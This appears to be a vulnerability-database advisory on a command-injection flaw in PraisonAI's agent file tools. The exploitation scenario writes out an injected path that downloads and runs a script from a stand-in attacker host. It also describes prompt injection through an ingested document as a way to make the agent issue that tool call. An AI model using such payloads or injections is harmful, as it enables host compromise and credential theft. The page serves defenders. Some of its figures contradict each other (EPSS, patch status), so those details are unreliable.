CVE-2026-57117: PraisonAI: shell injection in agent file tools allows RCE

HIGH

Published October 23, 2026

CISO Take

PraisonAI versions 4.6.10 through 4.6.58 convert file-tool operations (read_file, list_files, write_file) into shell command strings using unescaped path arguments when a compute provider is attached, so anyone who can influence a path can break out of the quoting and run arbitrary commands. With compute="local" the commands run on the host itself, while Docker confines them to the container, so the blast radius depends on how the agent is deployed. The CVSS is 8.8 (network, low complexity, low privileges, no user interaction). No EPSS score, public exploit, Nuclei template, KEV listing or SSVC decision exists yet, and no dependents data is available, so exploitation likelihood is unquantified; the bug class is trivial to weaponize, though, and an LLM-controlled path argument makes prompt injection a realistic trigger. Upgrade to 4.6.59 or later, and until then avoid compute="local" and run agents in isolated, unprivileged containers.

Sources:NVDGitHub AdvisoryATLAS

What is the risk?

High. The flaw is a classic OS command injection (CWE-78) combined with improper authorization (CWE-863), reachable over the network with low privileges and no user interaction. Exploitability is high because the attacker only needs to influence a file-tool path argument, which can be done directly by an authenticated user or indirectly through prompt injection of the agent. Impact is full confidentiality, integrity and availability loss in the compute environment. Risk is highest for local-compute deployments, where code runs on the host, and lower for Docker, where the container boundary limits impact unless it is misconfigured. No active exploitation or public PoC is known as of publication (2026-10-23), so confidence in the likelihood assessment is MEDIUM.

How does the attack unfold?

Initial Access

Attacker with low privileges, or via prompt injection, influences the path argument passed to an agent file tool.

AML.T0053

Exploitation

The compute bridge embeds the raw path in a shell string, letting the attacker break out of quoting and inject commands.

AML.T0050

Execution

Injected commands run in the compute environment: on the host for local compute, or inside the container for Docker.

Impact

Attacker steals credentials and data, tampers with agent workflows and pivots to other systems.

AML.T0105

Initial Access

Attacker with low privileges, or via prompt injection, influences the path argument passed to an agent file tool.

AML.T0053

Exploitation

The compute bridge embeds the raw path in a shell string, letting the attacker break out of quoting and inject commands.

AML.T0050

Execution

Injected commands run in the compute environment: on the host for local compute, or inside the container for Docker.

Impact

Attacker steals credentials and data, tampers with agent workflows and pivots to other systems.

AML.T0105

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
PraisonAI	pip	—	No patch
1 dependents61% patched~23d to patchFull package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1

8.8 / 10

EPSS

0.6%

chance of exploitation in 30 days

Higher than 48% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What is the attack surface?

AVNetwork

ACLow

PRLow

UINone

SUnchanged

CHigh

IHigh

AHigh

What should I do?

1 step

1) Upgrade praisonai to 4.6.59 or later (and check the related praisonaiagents package versions in your environment). 2) Until patched, do not use compute="local"; prefer Docker with a non-root user, read-only filesystem where possible, dropped capabilities, no host mounts and restricted egress. 3) Disable or restrict file tools for agents that process untrusted input, and validate path arguments against an allowlist of base directories. 4) Rotate secrets and API keys available to the agent environment if exposure is suspected. 5) Detection: monitor for shell metacharacters (quotes, ;, $(), backticks, |, &&) in file-tool path arguments, unexpected child processes spawned by the agent runtime, and anomalous outbound connections from agent hosts or containers. 6) Review the GHSA-w6h2-fr4q-xvxv advisory for vendor guidance.

How is it classified?

Code ExecutionPrompt InjectionAgentFrameworkPluginAML.T0049- Exploit Public-Facing Application AML.T0050- Command and Scripting Interpreter AML.T0051- LLM Prompt Injection AML.T0053- AI Agent Tool Invocation

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15-Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6-AI system operation and monitoring

NIST AI RMF

MANAGE 2.3-Responses to previously unknown risks and mechanisms to supersede or deactivate systems

OWASP LLM Top 10

LLM05-Improper Output HandlingLLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-57117?

Is CVE-2026-57117 actively exploited?

No confirmed active exploitation of CVE-2026-57117 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-57117?

1) Upgrade praisonai to 4.6.59 or later (and check the related praisonaiagents package versions in your environment). 2) Until patched, do not use compute="local"; prefer Docker with a non-root user, read-only filesystem where possible, dropped capabilities, no host mounts and restricted egress. 3) Disable or restrict file tools for agents that process untrusted input, and validate path arguments against an allowlist of base directories. 4) Rotate secrets and API keys available to the agent environment if exposure is suspected. 5) Detection: monitor for shell metacharacters (quotes, ;, $(), backticks, |, &&) in file-tool path arguments, unexpected child processes spawned by the agent runtime, and anomalous outbound connections from agent hosts or containers. 6) Review the GHSA-w6h2-fr4q-xvxv advisory for vendor guidance.

What systems are affected by CVE-2026-57117?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, multi-agent systems, sandboxed code execution environments, agent tool-calling pipelines.

What is the CVSS score for CVE-2026-57117?

CVE-2026-57117 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.58%.

What is the AI security impact?

Affected AI Architectures

agent frameworksmulti-agent systemssandboxed code execution environmentsagent tool-calling pipelines

MITRE ATLAS Techniques

AML.T0049Exploit Public-Facing Application

AML.T0050Command and Scripting Interpreter

AML.T0051LLM Prompt Injection

AML.T0053AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Art. 15

ISO 42001: A.6.2.6

NIST AI RMF: MANAGE 2.3

OWASP LLM Top 10: LLM05, LLM06

What are the technical details?

Original Advisory

PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. This issue has been patched in version 4.6.59.

Exploitation Scenario

An attacker with a low-privileged account on an internal PraisonAI-based agent platform, or one who plants a malicious instruction in a document the agent ingests, causes the agent to call write_file or read_file with a path such as "x'; curl https://attacker.example/s.sh | sh; '". The bridge embeds the raw path in a shell command, the quote is closed, and the injected command runs in the compute environment. On a local-compute deployment this gives a shell on the host, from which the attacker harvests LLM API keys and cloud credentials and pivots into the corporate network; on Docker, the attacker gains code execution in the container and attempts access to mounted volumes or an escape.

Weaknesses (CWE)

CWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')Primary CWE-863Incorrect AuthorizationPrimary CWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')CWE-863Incorrect Authorization

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.